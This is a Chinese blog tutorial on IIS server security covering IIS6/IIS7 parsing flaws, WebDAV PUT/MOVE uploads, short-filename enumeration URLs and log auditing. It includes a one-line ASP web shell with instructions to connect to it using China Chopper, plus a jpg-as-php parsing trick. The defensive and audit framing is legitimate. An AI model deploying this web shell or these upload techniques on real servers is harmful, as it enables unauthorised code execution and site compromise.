[聚合文章] IIS服务器安全配置

.Net 2017-11-13 1 阅读

上篇带来Apache服务器的安全配置,作为老牌中间件,iis一直是经久不衰,这次带来iis服务器的安全配置,同样下面的安全问题是根据ISC大会360应急响应中心的一个ppt而来的~

问题1.IIS6文件解析漏洞利用

问题2.IIS6写权限漏洞的利用

问题3.IIS6短文件名漏洞

问题4.IIS7 Fastcgi方式调用php存在的解析漏洞

问题5.IIS日志审计方法

下面我将针对上述问题,来做一个实例讲演!

问题1.IIS6文件解析漏洞利用

这个应该很熟悉,IIS的两个解析漏洞,一个是123.jpg;.asp,一个是123.asp/test.jpg

这两种文件命名方式都会被当成asp文件来进行解析

hacked by adog!
<%eval request("adog")%>

这是我们写入的asp文件内容

可以看到这里eval语句已经被执行了,使用菜刀连接即可,这是第一种文件解析漏洞

第二种:我们先创建一个以asp结尾的文件夹,然后在文件夹内上传我们的asp脚本文件

可以看到一句话已经被执行,可以使用菜刀连接了~

问题2.IIS6写权限漏洞的利用

实际上这个漏洞是因为webdev组件的问题,为了安全上的考虑,IIS默认并不会启动WebDAV的功能,因此必须另外来激活它。

这里我关闭了webdev功能,可以看到这里PUT方式就已经提示不支持了

这里假如我们确认了目标的确开了webdav功能,支持PUT写入,下面就可以使用桂林老兵的工具,将一句话通过PUT传入,最后使用MOVE方法修改成asp后缀,但是这里在修改后缀的时候出现了403 forbidden的状态码。。知道的人可以评论下告之原因~

总结一句话,这个iis写入漏洞就是因为开启了webdav组件,因此在配置网站时,一定要关注一些高危组件,不要开启不需要的组件。

问题3.IIS6短文件名漏洞

比如,我在D盘下创建了一个名为aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.html文件

可以看到其对应的短文件名为AAAAAA~1.HTM

该短文件名有以下特征:

  1. 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
  2. 访问构造的某个存在的短文件名,会返回404
  3. 访问构造的某个不存在的短文件名,会返回400。
  4. 后缀名最长只有3位,多余的被截断。

因此在这里我们可以在启用.net的IIS下暴力列举短文件名,原因是:需要使用到通配符*。在windows中,*可以匹配n个字符,n可以为0. 判断某站点是否存在IIS短文件名暴力破解,构造payload,分别访问如下两个URL:

    1. http://www.target.com/*~1****/a.aspx
    2. http://www.target.com/l1j1e*~1****/a.aspx

404 400

这里我使用了4个星号,主要是为了程序自动化猜解,逐个猜解后缀名中的3个字符,实际上,一个星号与4个星号没有任何区别(上面已经提到,*号可以匹配空)。

如果访问第一个URL,返回404。

而访问第二个URL,返回400。 则目标站点存在漏洞。

这个漏洞主要就是用于猜解后台地址以及一些敏感文件,在这里不做赘述~

问题4.IIS7 Fastcgi方式调用php存在的解析漏洞

这里主要的是指的iis7的解析漏洞。详细的漏洞描述如下:

IIS7 及IIS7.5 在使FastCGI方式调用php时,在php.ini里设置cgi.fix_pathinfo=1,使得访问任意文件URL时,在URL后面添加“/x.php”等字符时,该文件被iis当php文件代码解析。

假如http://127.0.0.1/1.jpg的内容如下:

<?php phpinfo();?>

这时候我们在访问http://127.0.0.1/1.jpg/1.php时,由于iis7的解析漏洞,会将这个jpg文件解析成php文件,从而执行phpinfo()。

问题5.IIS日志审计方法

这里iis日志是默认开启的,日志文件在C:\WINDOWS\system32\LogFiles目录下

这里举一个最新的日志来进行分析

#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2017-11-09 01:39:58
#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status sc-substatus sc-win32-status 
2017-11-09 01:39:58 W3SVC87257621 192.168.57.130 OPTIONS * - 80 - 192.168.57.1 - 200 0 0
2017-11-09 01:42:40 W3SVC87257621 192.168.57.130 OPTIONS * - 80 - 192.168.57.1 - 200 0 0
2017-11-09 01:45:05 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0
2017-11-09 01:45:35 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
2017-11-09 01:46:29 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
2017-11-09 01:47:00 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
2017-11-09 01:48:14 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 200 0 0
2017-11-09 01:49:15 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0
2017-11-09 01:50:07 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0
2017-11-09 01:50:22 W3SVC87257621 192.168.57.130 MOVE /test.asp - 80 - 192.168.57.1 - 404 0 2
2017-11-09 01:50:27 W3SVC87257621 192.168.57.130 MOVE /test.asp - 80 - 192.168.57.1 - 404 0 2
2017-11-09 01:51:33 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 201 0 0
2017-11-09 01:51:49 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
2017-11-09 01:52:06 W3SVC87257621 192.168.57.130 PUT /test.txt - 80 - 192.168.57.1 - 200 0 0
2017-11-09 01:54:49 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
2017-11-09 01:55:47 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
2017-11-09 01:55:47 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0
2017-11-09 01:55:47 W3SVC87257621 192.168.57.130 MOVE /test.txt - 80 - 192.168.57.1 - 207 0 0

这里可以看到很详细的日志信息

2017-11-09 01:55:47 – 操作时间

W3SVC87257621 – 网站编号(同时对应这个日志文件夹的名字)

192.168.57.130 – 服务器ip

MOVE /test.txt – 访问者的操作

80 – 网站端口

192.168.57.1 – 访问者ip

207 0 0 – 207表示WebDAV(RFC 2518)扩展的状态码,代表之后的消息体将是一个XML消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。正常访问情况下这里为200(访问成功),后面的0 0 表示1)get成功 2)数据下载/获得成功

这里同样可以分析日志来对网站的安全进行审计,如果出现了大量sql注入语句以及其他高危行为,我们都可以判断网站正在或者曾经遭受攻击,这时候需要管理员重新评估网站的安全,对高危漏洞进行修补!

上述如有不当之处,敬请指出~

注:本文内容来自互联网,旨在为开发者提供分享、交流的平台。如有涉及文章版权等事宜,请你联系站长进行处理。